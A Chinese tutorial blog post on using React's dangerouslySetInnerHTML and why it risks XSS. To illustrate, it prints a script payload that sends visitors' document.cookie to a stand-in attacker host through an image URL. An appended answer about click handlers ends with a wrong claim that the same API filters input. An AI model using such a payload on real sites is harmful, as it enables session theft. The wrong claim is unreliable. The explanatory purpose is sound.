react 中正常显示HTML(dangerouslySetInnerHTML )

1.react 中正常显示HTML(dangerouslySetInnerHTML )

在react中,以变量形式把html字符串付给标签,不会解析成标签。这时候需要一个react属性(dangerouslySetInnerHTML )来解决。

  1. react官网解释:

不合时宜的使用 innerHTML 可能会导致 cross-site scripting (XSS) 攻击。 净化用户的输入来显示的时候,经常会出现错误,不合适的净化也是导致网页攻击 的原因之一。
  我们的设计哲学是让确保安全应该是简单的,开发者在执行“不安全”的操作的时候应该清楚地知道他们自己的意图。dangerouslySetInnerHTML 这个 prop 的命名是故意这么设计的,以此来警告,它的 prop 值( 一个对象而不是字符串 )应该被用来表明净化后的数据。

  1. 解决办法:
 <div dangerouslySetInnerHTML={{__html: this.state.content}}></div>
  1. 什么是 cross-site scripting (XSS)攻击:
    XSS示例
      在深入了解XSS的各个方面之前,让我们首先了解XSS攻击到底是怎样完成的。
      就以一个博客应用为例。其常常需要允许读者对博主的文章进行评论。在输入评论的编辑栏中,我们可以输入对该文章的评论,也可以输入以下HTML标记:
<Script>alert(“XSS attack available!”);</Script>

而从用户的角度来看,该网页中就出现了一个警告:
 在这里插入图片描述
也就是说,用户输入的脚本语言已经被用户的浏览器成功执行。当然,这可能只是一个对该网站的善意提醒。但是对于一个真正具有恶意的攻击者,其所插入的脚本代码更可能如下所示:

<script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+' width=16 height=16 border=0 />');</script>

该段脚本将向当前评论内插入一个图片,而该图片所对应的URL则指向了hackerhome中的JSP页面grabber.jsp。从访问该评论的用户这一角度看来,其仅仅是一个不能显示的图片。但是对于恶意攻击者而言,该JSP页面将自动记录传入的msg参数内容,即访问评论用户所使用的cookie。该cookie可能包含用户的敏感信息,甚至是用户名,密码等重要信息。
所以,react的做法是不直接读取你的html代码,以此来避免cross-site scripting (XSS)攻击,让你的代码更加安全。
可以参考这篇文章:http://www.cnblogs.com/loveis715/archive/2012/07/13/2506846.html

  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
React 的 class 组件使用 `dangerouslySetInnerHTML` 属性可以设置 HTML 字符串作为组件的子元素,但是需要注意安全问题。 如果需要在 `dangerouslySetInnerHTML` 添加点击事件,可以在组件挂载后通过 DOM 操作给元素绑定事件。例如,在组件的 `componentDidMount` 生命周期获取元素并添加点击事件: ```jsx class MyComponent extends React.Component { componentDidMount() { // 获取元素 const myElement = document.getElementById('my-element'); // 给元素添加点击事件 myElement.addEventListener('click', this.handleClick); } handleClick = (event) => { console.log('点击事件触发了', event); } render() { const htmlString = '<div id="my-element">点击我</div>'; return <div dangerouslySetInnerHTML={{ __html: htmlString }} />; } } ``` 在上面的代码,组件的 `render` 方法返回一个包含 HTML 字符串的 `div` 元素,并使用 `dangerouslySetInnerHTML` 属性将字符串设置为元素的子元素。在组件挂载后,通过 `document.getElementById` 获取元素并使用 `addEventListener` 给元素添加点击事件。点击事件的处理函数是 `handleClick`,并且使用箭头函数绑定了 `this`。 需要注意的是,使用 `dangerouslySetInnerHTML` 属性可能存在安全风险,因为它允许渲染未经过过滤的 HTML 字符串。如果需要渲染用户输入的数据,建议使用 React 提供的 `dangerouslySetInnerHTML` API 进行过滤和转义。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值